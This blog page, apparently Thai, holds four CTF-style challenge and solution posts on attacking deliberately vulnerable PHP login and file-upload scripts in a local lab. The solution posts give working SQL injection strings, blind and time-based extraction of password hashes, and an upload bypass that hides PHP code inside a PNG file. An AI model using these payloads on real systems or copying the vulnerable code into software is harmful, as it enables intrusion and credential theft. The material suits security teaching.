Showing posts with label PHP. Show all posts
Showing posts with label PHP. Show all posts

Tuesday, January 18, 2011

PHP Login กับ SQL Injection (เฉลย)

จากโจทย์ที่ผมตั้งไว้ ถึงเวลาเฉลยแล้ว ถ้าใครเพิ่งมาอ่าน หรือยังไม่ได้ทำ ผมอยากให้ลองทำก่อนดูเฉลยนะครับ

ก่อนจะเฉลย ผมขอพูดถึงการทำ sql injection นิดนึง การทำ sql injection นั้นก็คือการเหมือนกับว่า programmer ได้เขียนคำสั่ง SQL เริ่มต้นให้ (และอาจจะมีต่อท้ายให้ด้วย) สิ่งที่เราต้องทำคือเติมคำสั่ง SQL ให้มันถูกต้อง แต่เปลี่ยนความหมายของคำสั่ง เพื่อดึงเอาข้อมูลส่วนที่เราต้องการออกมา ดังนั้นสิ่งสำคัญในการทำ sql injection คือการเรียนรู้คำสั่ง SQL และ DBMS ต่างๆ เวลาอ่านเฉลยข้อไหนแล้วงงๆ ก็ให้ลองเปิดตัว MySQL client แล้วลองพิมพ์คำสั่ง SQL ที่จะถูกประมวลผลดู

ข้อ 1 อันนี้ถ้าใครลองทำตามตำราแบบง่ายสุดคือใส่ ' or '1'='1 ที่ username คงจะเจอกับ error ว่า "The number of rows is not 1" เนื่องจากผมมีการ check ว่าจำนวน row ที่ได้นั้นเท่ากับ 1 หรือไม่ ดังนั้นวิธีง่ายสุดของข้อนี้ ก็คือใช้ LIMIT ตามนี้ (ผมขอใช้ curl เพื่อประหยัดพื้นที่)

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli1.php?password=whatever&username='+or+1=1+LIMIT+1%23"
Congrats, WIN!!!

ข้อ 2 ข้อนี้จะเห็นว่าใน query มีใช้แค่ username แต่ผม และมีการเอา password มาเปรียบเทียบต่างหาก ซึ่งต่างจากข้อ1 ที่เวลาทำ sql injection ในข้อ1 นั้น สามารถทำให้การ check password นั้นเหมือนไม่มีได้

ปัญหาของข้อนี้ คือเราไม่รู้ว่า password ของ record ที่ query ออกมาจาก database นั้น password อะไร วิธีแก้ก็คือใช้ UNION SELECT เพื่อให้ได้ record ปลอมที่เราสร้างมาเอง เช่นใช้ "UNION SELECT 1,2,3" (ไม่มี quote) จะทำให้การ query ได้ record ที่มี id มีค่าเป็น 1, username มีค่าเป็น 2 และ password มีค่าเป็น 3

แต่เนื่องด้วยใน database นั้นการเก็บ md5 hash ของ password ดังนั้นสิ่งที่เราทำคือต้องการ md5 ของ password ที่เราจะปลอมด้วย ดังนั้นข้อนี้สามารถทำได้ตามนี้

D:\thtutz\challenge>php -r "echo md5('');"
d41d8cd98f00b204e9800998ecf8427e
D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli2.php?password=&username='+UNION+SELECT+1,2,'d41d8cd98f00b204e9800998ecf8427e'%23"
Congrats, WIN!!!

ข้อ 3 ข้อนี้สิ่งที่ผมต้องการให้ทำคือ blind sql injection เพื่อดึงข้อมูลออกมาจาก database ไม่ใช่ bypass login ถ้าใครสังเกต จะเห็นว่าผมใบ้ไว้แล้วว่า ไม่สามารถทำ sql injection ให้ php ไปทำงานที่บรรทัดที่ต้องการได้ พูดง่ายๆ ก็คือไม่สามารถทำ sql injection เพื่อ bypass หน้า login ที่เขียน code แบบนี้ได้ (ถ้าใครทำได้ช่วยบอกผมด้วย ผมทำไม่ได้)

ก่อนอื่นเราก็ต้องมานั่งคิดก่อน เราต้องการดึงอะไรออกมา สำหรับโจทย์ผมนั้นมันชัดเจนว่าต้องดึง username กับ password ออกมา เนื่องด้วย error ที่ออกมาจะมีค่าต่างกัน เราจึงสามารถใช้ประโยชน์จาก error นี้ได้ โดยวิธีการดึง id สามารถทำได้ตามนี้

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=1%23"
Invalid username or password

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=2%23"
Invalid username or password

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=3%23"
The number of rows is not 1

วิธีที่ผมใช้คือ พยายามทำ sql injection ให้ query ออกมาทีละ 1 row ถ้า id ที่ใส่ไปนั้นมีใน database ซึ่งจะเห็นว่า เมื่อใส่ id เป็น 3 (ไ่ม่มีใน database) error ที่ออกมาจะไม่เหมือนเมื่อใส่ id เป็น 1 หรือ 2

สำหรับการดึง username กับ password นั้น ถ้าเราทำแบบ id คือลอง password ทั้ง string นั้นโอกาสที่จะถูกน้อยมาก เพราะ password นั้นยาวมาก วิธีการคือการใช้ function SUBSTR() ของ MySQL ช่วย เพื่อที่จะเปรียบเทียบค่าทีละตัวอักษร อาจจะงง ดูตัวอย่างเลยดีกว่า โดยผมจะทำกับ id เท่ากับ 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='1'+AND+id=1%23"
The number of rows is not 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='2'+AND+id=1%23"
The number of rows is not 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='4'+AND+id=1%23"
Invalid username or password

จากข้างบน จะได้ว่า password hash ของตัวอัีกษรแรกคือ 4 ซึ่งจะเห็นว่าถ้าจะเอา password ออกมาต้อง request เยอะมาก ผมเลยเขียน python สำหรับ request หา password ของ user id 1 ไว้แล้ว (login_blind.py) ซึ่งถ้า run จะได้ผลตามนี้

D:\thtutz\challenge>login_blind.py
1: 4
2: 4
...
44a86b4e2c89f87be46c3ad9f24128dc

สำหรับการดึง username นั้นผมขอให้เขียนเองนะครับ แค่เปลี่ยน charsets และต้อง check ด้วยว่าจบ string หรือยัง ด้วยการเปรียบกับ empty string ('') และเมื่อได้ข้อมูลมาทุกอย่าง เราก็ต้องทำการ crack md5 ซึ่งจะได้ password ออกมาเป็น tooeasy และเอาไป login

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=tooeasy&username=admin"
Impossible to be here with SQL injection
Congrats, WIN!!!

จริงๆแล้ว ข้อนี้ผมตั้งโจทย์ผิด ตั้งใจจะให้ทำ totally blind sql injection แต่ดันทำให้ error มันต่างกัน ผมเลยขออธิบายวิธีทำ sql injection เมื่อ error มันเหมือนกันตลอดด้วย โดยสมมติว่าถ้ามี error อะไรก็แสดงแต่ "Invalid username or password"

ถ้า error เหมือนกัน เราไม่สามารถใช้วิธีข้างบนได้ วิธีที่จะใช้คือ"เวลา" ถ้าสิ่งที่เราต้องการเปรียบเทียบถูกก็ให้ return ค่ากลับมาช้าๆ ถ้าผิดก็ return ทันที โดยการที่ทำให้ MySQL return ค่ากลับมาช้าๆ นั้นสามารถใช้ SLEEP() ตามตัวอย่างต่อไปนี้

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+UNION+SELECT+IF(id=1,SLEEP(5),1),2,3+FROM+members+WHERE+id=1%23"
Invalid username or password     <=== ใช้เวลาอย่างน้อย 5 วินาที

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+UNION+SELECT+IF(id=3,SLEEP(5),1),2,3+FROM+members+WHERE+id=3%23"
The number of rows is not 1

ถ้าใครลองทำตาม จะเห็นว่า request แรก ต้องใช้เวลาอย่างน้อย 5 วินาทีถึงจะได้ response แต่ใน request ที่สองจะได้กลับมาทันที วิธีการนี้จะมี reliable ต่ำกว่าการใช้ error เพราะ server อาจจะยุ่งอยู่ และ network มี latency หรือ round trip time ไม่แน่นอน ทำให้เราได้ response ช้า ทั้งๆที่น่าจะได้ response กลับมาทันที วิธีแก้ก็คือใส่ SLEEP() ให้เยอะหน่อย

สำหรับการดึง password ก็ใช้หลักการเดียวกัน โดยผมเขียนเป็น python code แล้ว (login_total_blind.py) ซึ่งถ้า run จะได้ผลเหมือนข้างบน แต่ใช้เวลามากกว่า ส่วนการดึง username ผมขอให้เขียนเองนะครับ

Note: SLEEP() มีใน MySQL() ตั้งแต่ version 5.0.12 ถ้า version ต่ำกว่า 5.0.12 ต้องใช้ BENCHMARK() (ดูตัวอย่างได้ใน code python ผม โดน comment ไว้อยู่)


ข้อ 4 ปัญหาของข้อนี้ คือการนำ raw md5 ไป query โดยไม่มีการ escape ก่อน สิ่งที่เราต้องทำก็คือ หาค่าที่เมื่อทำ md5 แล้วได้ค่าประมาณ "or 1=1#" เพื่อให้ SQL query ออกมามี row มากกว่า 0

ข้อจำกัดของข้อนี้คือ raw md5 มีขนาด 16 bytes ดังนั้นคำสั่งที่เราต้องการจะต้องมีความยาวไม่เกิน 16 ตัวอักษร แต่เพื่อที่จะโอกาสที่จะหาค่าของ md5 ที่ต้องการเจอ เราต้องทำให้สิ่งที่เราต้องการสั้นที่สุดเท่าที่จะสั้นได้ เรามาลองคำสั่ง SQL (ใน MySQL client) รูปแบบต่างๆ ที่ทำให้การ query ออกมาอย่างน้อย 1 row กันก่อนดีกว่า แล้วค่อยอธิบาย (ให้สังเกตด้วยนะครับผมใช้ double quote ไม่ใช่ single quote)

mysql> use thtutz;
Database changed
mysql> select * from members where password="" or 1=1;#"
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 44a86b4e2c89f87be46c3ad9f24128dc |
|  2 | junk     | invalid_hash                     |
+----+----------+----------------------------------+
2 rows in set (0.13 sec)

mysql> select * from members where password="" or 1;#"
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password=""||1;#"
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password="s"||"2gff"; # วิธีของทีม Kernel Sanders
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password="s"||"gff";
Empty set, 1 warning (0.00 sec)

mysql> select * from members where password="s"="v"; # วิธีของทีม Nibbles
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 44a86b4e2c89f87be46c3ad9f24128dc |
|  2 | junk     | invalid_hash                     |
+----+----------+----------------------------------+
2 rows in set, 2 warnings (0.00 sec)

มาเริ่มกันที่ query แรก คือแบบที่ใช้กันทั่วไป ต้องใช้ถึง 9 ตัวอักษร (" or 1=1#) ต่อมา query ที่สอง หลังจากการอ่าน MySQL document ผมเจอว่า MySQL นั้นจะถือตัวเลขที่ไม่ใช่ 0 เป็น true ดังนั้นแทนที่เราจะใช้ 1=1 เหลือใช้เพียงตัวเลขอะไรก็ได้ที่ไม่ใช่ 0 ก็จะต้องใช้ 7 ตัวอักษร (" or 1#)

ส่วน query ที่สามเป็นวิธีที่ผมใช้เพื่อแก้โจทย์นี้ จาก document อีกเช่นกัน MySQL สามารถใช้ || แทน or ได้ โดยเมื่อใช้ || แล้วไม่จำเป็นต้องมีช่องว่าง ทำให้ต้องใช้ 5 ตัวอักษร ("||1#) และเมื่อเขียน code โดยใช้ md5 จาก openssl จะได้ login_md5raw_1.c (compile กันเอาเองนะครับ อย่าลืม link กับ openssl ด้วย) ซึ่งของผมใช้เวลานานกว่า 30 นาที เมื่อผมเปลี่ยนโจทย์ให้ใช้ double quote (ผมไม่อยากรอ ไว้ดูของคนอื่นดีกว่า)

ใน code ของผม จะทำการ brute force ค่า binary ทุกค่าเนื่องจากการ request สามารถรับข้อมูลที่เป็น binary ได้ โดยทำการ request ไว้ดูในวิธีสุดท้ายทีเดียวเลยละักัน

ส่วน query ที่สี่นั้นเป็นวิธีของทีม Kernel Sanders โดยใช้หลักที่ว่า string ที่ขึ้นด้วยตัวเลขที่ไม่ใช่ 0 MySQL ถือว่าเป็น true และเพื่อให้ search หาได้เร็วขึ้นก็จะ search เพียงแค่ "||" แล้วค่อย check ตัวถัดไป โดย code ที่ดัดแปลงจากของผมคือ login_md5raw_2.c ซึ่งวิธีนี้ code ของผมก็ run นาน เมื่อเปลี่ยนมาใช้ double quote
Note: ทีม Kernel Sanders หาโดยใช้ตัวเลขอย่างเดียว ได้ผลลัพธ์คือ 129581926211651571912466741651878684928 (สำหรับ single quote ถ้าใครไปลองก็จะไม่ถูก)

ส่วน query สุดท้ายนั้นเป็นวิธีของทีม Nibbles เป็นวิธีที่สั้นที่สุด โดยเงื่อนไข where จะเป็น password="a"="z" ซึ่ง MySQL จะ parse เป็น (password="a")="z" ทำให้เป็น false="z" และเป็น false=false ซึ่งผลลัพธ์สุดท้ายกลายเป็น true แต่ string สุดท้ายต้องไม่ขึ้นต้นด้วยตัวเลข ซึ่งเมื่อผมเอามาใช้ใน code ผมคือ login_md5raw_3.c ซึ่ง run ไม่ถึงวินาที จะได้ผลลัพธ์คือ %ac%d6%04 และ python code ที่ผมเอามาจากทีม Nibbles โดยแก้ให้เป็นสำหรับ double quote (login_md5raw_3.py) โดยเป็นตัวเลขอย่างเดียวจาก python จะได้ 1319 โดยนำมา request ได้ตามนี้

password: acd604
password: %ac%d6%04
result: 223d0c22570c581b84a9301adad18739
result: "= "W X „ฉ0 ฺั‡9
D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli4.php?password=%ac%d6%04"
Congrats, WIN!!!

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli4.php?password=1319"
Congrats, WIN!!!

Note: ทีม Nibbles หาโดยใช้ตัวเลขอย่างเดียว ได้ผลลัพธ์คือ 1839431 (สำหรับ single quote ถ้าใครไปลองก็จะไม่ถูก)


สรุป

สิ่งที่ผมอยากจะให้เห็นการทำ sql injection จากโจทย์พวกนี้ โดยเฉพาะข้อ 3 กับ 4 คือ
- sql injection มันมีได้หลายรูปแบบ ในหลายๆครั้ง ต้องมีการดัดแปลง ดังนั้นสิ่งสำคัญคือต้องรู้ SQL แล้วนำไปประยุกต์ใช้เป็น
- ถ้า code มีปัญหาเรื่อง sql injection ส่วนมากก็จะทำ sql injection ได้ อย่างเช่นในข้อ 3 ถึงแม้จะมีการดักไว้ว่า username ที่ดึงมาจาก database ต้องตรงกับที่ใส่มา เราก็ใช้วิธี blind sql injection เพื่อดึงข้อมูลออกมาแทนได้
- อันนี้สำหรับ programmer คือถ้าเรามีการแปลง (transform) ข้อมูลก่อนที่จะนำเข้า database เช่นในข้อ 4 ให้ถือว่าเป็นข้อมูลที่ยังไม่ได้ตรวจสอบ (untrusted input) อาจจะมีอันตรายได้
- input ที่ใส่ไม่จำเป็นต้องเป็นตัวอักษรที่อ่านออกได้ ดังเวลาที่เขียน code หรือจะทำ sql injection ก็ควรที่จะคิดถึงข้อมูลประเภทนี้ด้วย
- โปรแกรมอาจจะใช้ double quote ใน SQL query เช่นในโจทย์ข้อ 4 ดังนั้นเวลาทำ sql injection ควรลองทดสอบทั้ง single quote และ double quote

Saturday, January 1, 2011

PHP Login กับ SQL Injection (คำถาม)

สวัสดีปีใหม่ ปีใหม่ทั้งที หาอะไรเล่นสนุกๆ ดีกว่า วันนี้ผมมีปัญหามาให้ทำเกี่ยวกับ sql injection 4 ข้อ เริ่มกันเลยดีกว่า

เหมือนครั้งที่แล้ว setup web server กับ mysql เอาเองนะครับ โดยใน mysql ให้สร้าง db ชื่อว่า thtutz แล้วก็ table ชื่อ members โดยมี column id, username, password แล้วใส่ user เข้าไปอย่างน้อย 2 users นะครับ ผมได้เตรียม sql batch ไว้แล้ว (db_setup.sql) แค่ run ด้วย mysql root

หลังจาก create table ใน mysql server แล้วก็เอา php code ต่อไปนี้ ไปลองทำ sql injection ดูนะครับ

ข้อ 1 (login_sqli1.php) อันนี้ทดสอบ basic

<?php

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = "SELECT * FROM members WHERE password='".md5($_GET['password'])."' AND username='".$_GET['username']."'";
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) == 1) {
    echo "Congrats, WIN!!!\n";
}
else {
    echo "The number of rows is not 1\n";
}

mysql_close($db);

ข้อ 2 (login_sqli2.php) อันนี้ warm up

<?php

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = "SELECT * FROM members WHERE username='".$_GET['username']."'";
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) == 1) {
    $row = mysql_fetch_array($result);
    if ($row['password'] == md5($_GET['password'])) {
        echo "Congrats, WIN!!!\n";
    }
    else {
        echo "Invalid username or password\n";
    }
}
else {
    echo "The number of rows is not 1\n";
}

mysql_close($db);

ข้อ 3 (login_sqli3.php) ข้อนี้ยากที่สุดที่ผมคิดได้ เกี่ยวกับ login โดยไม่มีการทำ filter

<?php

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = "SELECT * FROM members WHERE username='".$_GET['username']."'";
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) == 1) {
    $row = mysql_fetch_array($result);
    if ($row['username'] == $_GET['username'] && $row['password'] == md5($_GET['password'])) {
        echo "Impossible to be here with SQL injection\n";
        echo "Congrats, WIN!!!\n";
    }
    else {
        echo "Invalid username or password\n";
    }
}
else {
    echo "The number of rows is not 1\n";
}

mysql_close($db);

ข้อ 4 (login_sqli4.php) เอาความคิดมาจาก LEETMORE CTF 2010

<?php
// idea from LEETMORE ctf 2010

$db = mysql_connect('localhost', 'thtutz', 'password') or die('Could not connect to db');
mysql_select_db('thtutz') or die('Could not select thtutz');

$sql = 'SELECT * FROM members WHERE password="' . md5($_GET['password'], true) . '"';
$result = mysql_query($sql, $db);
if ($result === FALSE)
    die('Invalid SQL query');
    
if (mysql_num_rows($result) > 0) {
    echo "Congrats, WIN!!!\n";
}
else {
    echo "Incorrect password\n";
}

mysql_close($db);

คราวนี้ใจดีมี hint ให้ หวังว่าจะช่วยได้

็Hint:
1. http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
2. google

ใช้เวลากับมันหน่อยนะครับ (ข้อ3 กับ ข้อ4) เพราะผมเองก็ต้องทำเป็นชั่วโมง (ตั้งโจทย์เองแท้ๆ)

ครั้งนี้ ผมให้เวลา 2-3 สัปดาห์ แล้วค่อยเฉลย เหมือนเดิมทำได้แล้วอย่า post เฉลยนะครับ

Update: ผมได้ publish เฉลยแล้วนะครับ ถ้าคิดไม่ออกแล้วก็ กดเลยครับ

Saturday, December 4, 2010

PHP file upload (เฉลย)

อาทิตย์หนึ่งผ่านไปจาก post เดิมที่ถามไว้ เกี่ยวกับ PHP file upload วันนี้ผมจะมาเฉลย ใครที่อยากทำเองก็อย่าอ่านต่อละกัน

ก่อนที่จะไปดูเฉลย ผมจะให้ดู HTTP request กับ response สำหรับการ upload file ในปัญหานี้ โดยผมได้เปลี่ยนจาก <br /> เป็น "\n" ใน เพื่อให้อ่านง่า่ยขึ้นในนี้

POST /upload.php HTTP/1.1
Host: 192.168.1.100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://192.168.1.100/upload.html
Content-Type: multipart/form-data; boundary=---------------------------194488808416516608941591502886
Content-Length: 390

-----------------------------194488808416516608941591502886
Content-Disposition: form-data; name="file"; filename="arrow.gif"
Content-Type: image/gif

GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;......
.`.."..fs...2.(.[..Lh....a~.fX..$..;
-----------------------------194488808416516608941591502886--

HTTP/1.1 200 OK
Date: Sat, 04 Dec 2010 05:32:41 GMT
Server: Apache
Content-Length: 120
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Upload: arrow.gif
Type: image/gif
Size: 0.166015625 Kb
Temp file: C:\WINDOWS\Temp\php19D.tmp
Stored in: upload/arrow.gif

ข้างบนเป็นข้อมูลที่เอามาจาก Wireshark และตัวอักษร . ในข้อมูลหมายถึง byte ที่ไม่สามารถแสดงผลเป็นตัวอักษรได้

หลังจากเห็น request จาก Firefox ไปแล้ว เรามาเริ่มเลยดีกว่า ปัญหาที่1 นั้นมีการตรวจสอบเพิ่งแค่ว่า $_FILES["file"]["type"] นั้นเป็นชนิดที่เราอนุญาติหรือไม่
ถ้าเราสังเกต request ของ Firefox จะเห็นว่ามีการส่ง "Content-Type: image/gif" ไปด้วย ดังนั้นถ้าเราลองแก้ค่านี้ดู โดยผมจะใช้ curl (ถ้าใครไม่ถนัด command line ก็อาจจะใช้ Tamper Data ที่เป็น add-on ของ Firefox)

$ curl -0 -F "file=@arrow.gif;type=foo/bar" http://192.168.1.100/upload.php
Invalid file
$
โดยจะมี HTTP request และ response เป็น (จาก Wireshark)
POST /upload.php HTTP/1.0
User-Agent: curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15
Host: 192.168.1.100
Accept: */*
Content-Length: 354
Content-Type: multipart/form-data; boundary=----------------------------f627444651d8

------------------------------f627444651d8
Content-Disposition: form-data; name="file"; filename="arrow.gif"
Content-Type: foo/bar

GIF89a..........EEE..........................................!.......,..........W.I.j........pE....LAg.p.j...B......U.v..s.C..;......
.`.."..fs...2.(.[..Lh....a~.fX..$..;
------------------------------f627444651d8--

HTTP/1.1 200 OK
Date: Sat, 04 Dec 2010 06:04:21 GMT
Server: Apache
Content-Length: 13
Connection: close
Content-Type: text/html

Invalid file

จะเห็นว่าคราวนี้ เราส่ง Content-Type เป็น foo/bar แล้ว server ตอบกลับเป็น "Invalid file" ทั้งๆ ที่ผม upload ไฟล์ที่เป็น gif แสดงให้เห็นว่าค่า $_FILES["file"]["type"] นั้นเป็นค่าที่ client ส่ง ไม่ได้เป็นค่าที่ ตัว PHP ทำการตรวจสอบชนิดของไฟล์

เมื่อรู้แล้วว่า PHP เอา type มาจากที่ client ส่งไป ผมจะสร้างไฟล์ php ตามนี้

$ cat info.php
<?php phpinfo();

แล้ว upload file ด้วยคำสั่ง

$ curl -0 -F "file=@info.php;type=image/gif" http://192.168.1.100/upload.php
Upload: info.php
Type: image/gif
Size: 0.0166015625 Kb
Temp file: C:\WINDOWS\Temp\php1A3.tmp
Stored in: upload/info.php

เย้ ทำได้แล้วปัญหาที่ 1 :)

เรามาต่อปัญหาที่ 2 กันเลยดีกว่า ปัญหานี้ผมกำหนดให้ type ของไฟล์เป็น image/png แต่คราวนี้จะมีอีกปัญหาหนึ่งคือ

    $info = getimagesize($_FILES["file"]["tmp_name"]);
    if ($info == FALSE) {
      echo "Invalid image file";
    }
    else if ($info["mime"] != "image/png") {
      echo "Image is not PNG";
    }

จาก code จะเห็นว่า คราวนี้มีการลองเปิดไฟล์รูปว่าเป็นไฟล์รูปชนิดไหน ดังนั้นถ้าเราทำแบบปัญหาที่ 1 จะได้ผลลัพธ์ดังนี้

$ curl -0 -F "file=@info.php;type=image/png" http://192.168.1.100/upload2.php
Upload: info.php
Type: image/png
Size: 0.0166015625 Kb
Temp file: C:\WINDOWS\Temp\php1AF.tmp
Invalid image file.

จากผลคือ php ไม่สามารถเปิดไฟล์รูปได้ เพราะไฟล์ของเราเป็น php code ธรรมดา ดังนั้นสิ่งที่เราต้องทำคือ ให้ php เปิดไฟล์เราแบบไฟล์รูปได้ และ php สามารถรัน php code ได้ แล้วจะทำอย่างไรละ :S


เวลาเราเขียน php ในหลายครั้งเราเขียนผสมกับ html code โดยส่วนไหนจะให้ php ทำงานก็เปิดด้วย <?php และปิดด้วย ?> โดยจริงๆ แล้วส่วนที่ไม่ใช้ php code จะเป็นข้อมูลอะไรก็ได้ จะอ่านออกหรือเปล่า php interpreter ไม่ได้สนใจ

ดังนั้นถ้าเราเอาไฟล์รูป png มารูปหนึ่ง แล้วแก้ข้อมูลข้างในให้มี php code โปรแกรมเปิดรูปก็จะคิดว่าไฟล์นี้เป็นไฟล์รูปภาพชนิด png (แค่รูปที่เปิดอาจจะเสีย) และเมื่อ php interpreter อ่านไฟล์ไว้ก็จะทำงาน code ที่เราใส่ไว้ข้างใน แต่เนื่องด้วย getimagesize() นั้น อ่านแค่ header ว่าเป็นไฟล์อะไร ผมจะทำแค่เพิ่ม php code ต่อท้ายไฟล์รูปภาพ ตามคำสั่ง

$ ls -l ad.png info.php
-rw-r--r-- 1 worawit worawit 643 2010-12-04 14:46 ad.png
-rw-r--r-- 1 worawit worawit  17 2010-12-04 13:40 info.php
$ cat ad.png info.php > mypng.php
$ ls -l mypng.php
-rw-r--r-- 1 worawit worawit 660 2010-12-04 14:47 mypng.php
$ file mypng.php
mypng.php: PNG image, 16 x 11, 8-bit/color RGB, non-interlaced

คำสั่งข้างบน คือผมเอาไฟล์ 2 ไฟล์มาต่อกัน โดยเริ่มจากรูป ad.png จะเห็นว่าขนาดไฟล์ mypng.php เท่ากับ 2 ไฟล์รวมกัน และเมื่อใช้คำสั่ง file ดูไฟล์ที่สร้างใหม่ขึ้นมา ก็ยัง detect เป็น png อยู่ดี

และเมื่อเราเตรียมไฟล์เรียบร้อยแล้ว ก็พร้อมที่จะ upload ขึ้นไปแล้ว

$ curl -0 -F "file=@mypng.php;type=image/png" http://192.168.1.100/upload2.php
Upload: mypng.php
Type: image/png
Size: 0.64453125 Kb
Temp file: C:\WINDOWS\Temp\php1B3.tmp
Stored in: upload/mypng.php

pwned.. สำเร็จแล้ว และถ้าเราลองเปิดไฟล์ php ที่ upload ขึ้นไปด้วย web browser คุณจะผมว่ามีตัวอักษรที่อ่านไม่ออก แล้วตามด้วยผลของ php code

คราวนี้ก็ถึงวิธีป้องกัน เอาแบบสั้นๆ นะครับ (ขี้เกียจเขียน) ก็คือให้ตรวจสอบนามสกุลของไฟล์ (file extension) โดยอาจใช้คำสั่ง pathinfo() เพราะว่าโดย default ตัว web server จะใช้ php interpreter กับไฟล์ที่มี extension เป็น php แต่ถ้ามีการแก้ไขพวกนี้ที่ web server คุณก็ต้องถาม admin ของ server นั้นๆ เอง

Sunday, November 28, 2010

PHP file upload (คำถาม)

ระหว่างคอยเนื้อหาการเขียน exploit ที่ผมต้องใช้เวลาอีกซักพัก ในการเตรียมและทดสอบหลายๆ อย่าง
คราวนี้ผมให้เป็นโจทย์ไปดีกว่า (ผมจะได้ไม่ต้องใช้เวลาเขียนเยอะ :D) แล้วผมคอยมาเฉลย(อธิบาย) ทีหลัง

เรื่องนี้ก็เป็นไปตามชื่อเรื่อง ตอนแรกผมก็คิดเล่นๆ แต่พอลอง search ดู พบว่า code ตัวอย่างใน w3cshools ก็มีช่องโหว่ เลยเอามาให้ทำซะเลย (ให้ setup web server เอาเองนะครับ)

ปัญหาที่ 1 (upload1.php) (copy มาจาก http://w3schools.com/PHP/php_file_upload.asp)

<?php
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/pjpeg"))
&& ($_FILES["file"]["size"] < 20000))
  {
  if ($_FILES["file"]["error"] > 0)
    {
    echo "Return Code: " . $_FILES["file"]["error"] . "<br />";
    }
  else
    {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    if (file_exists("upload/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
      }
    }
  }
else
  {
  echo "Invalid file";
  }

code ข้างบนมีช่องโหว่อยู่ หาวิธี upload php file ให้ได้ (ใจดีนะเนี่ย ที่บอกว่าให้ทำอะไร จริงๆแล้ว ต้องรู้เองว่าต้องทำอะไร)

โจทย์ข้างบนผมว่าง่ายเกินไป ผมเลยขอแก้ไข code ข้างบน (ให้อ่านง่ายขึ้นด้วย) ยากขึ้นอีกนิดหน่อย

ปัญหาที่ 2 (upload2.php)

<?php
if ($_FILES["file"]["type"] == "image/png") {
  if ($_FILES["file"]["error"] > 0) {
    echo "Return Code: " . $_FILES["file"]["error"];
  }
  else {
    echo "Upload: " . $_FILES["file"]["name"] . "<br />";
    echo "Type: " . $_FILES["file"]["type"] . "<br />";
    echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />";
    echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />";

    $info = getimagesize($_FILES["file"]["tmp_name"]);
    if ($info == FALSE) {
      echo "Invalid image file";
    }
    else if ($info["mime"] != "image/png") {
      echo "Image is not PNG";
    }
    else if (file_exists("upload/" . $_FILES["file"]["name"])) {
      echo $_FILES["file"]["name"] . " already exists. ";
    }
    else {
      move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);
      echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
    }
  }
}
else {
  echo "Invalid file";
}

ปัญหาที่ 2 เพิ่มการตรวจสอบอีกนิดหน่อย ผมว่าก็ยังง่ายอยู่นะ

คนรู้อยู่แล้ว หรือทำได้แล้ว ก็ไม่ต้องเขียนเฉลยนะครับ ให้คนอื่นเขาหาทางกันเองก่อน จริงๆ แล้วเดี๋ยวผมไม่มีอะไรให้เขียน :D

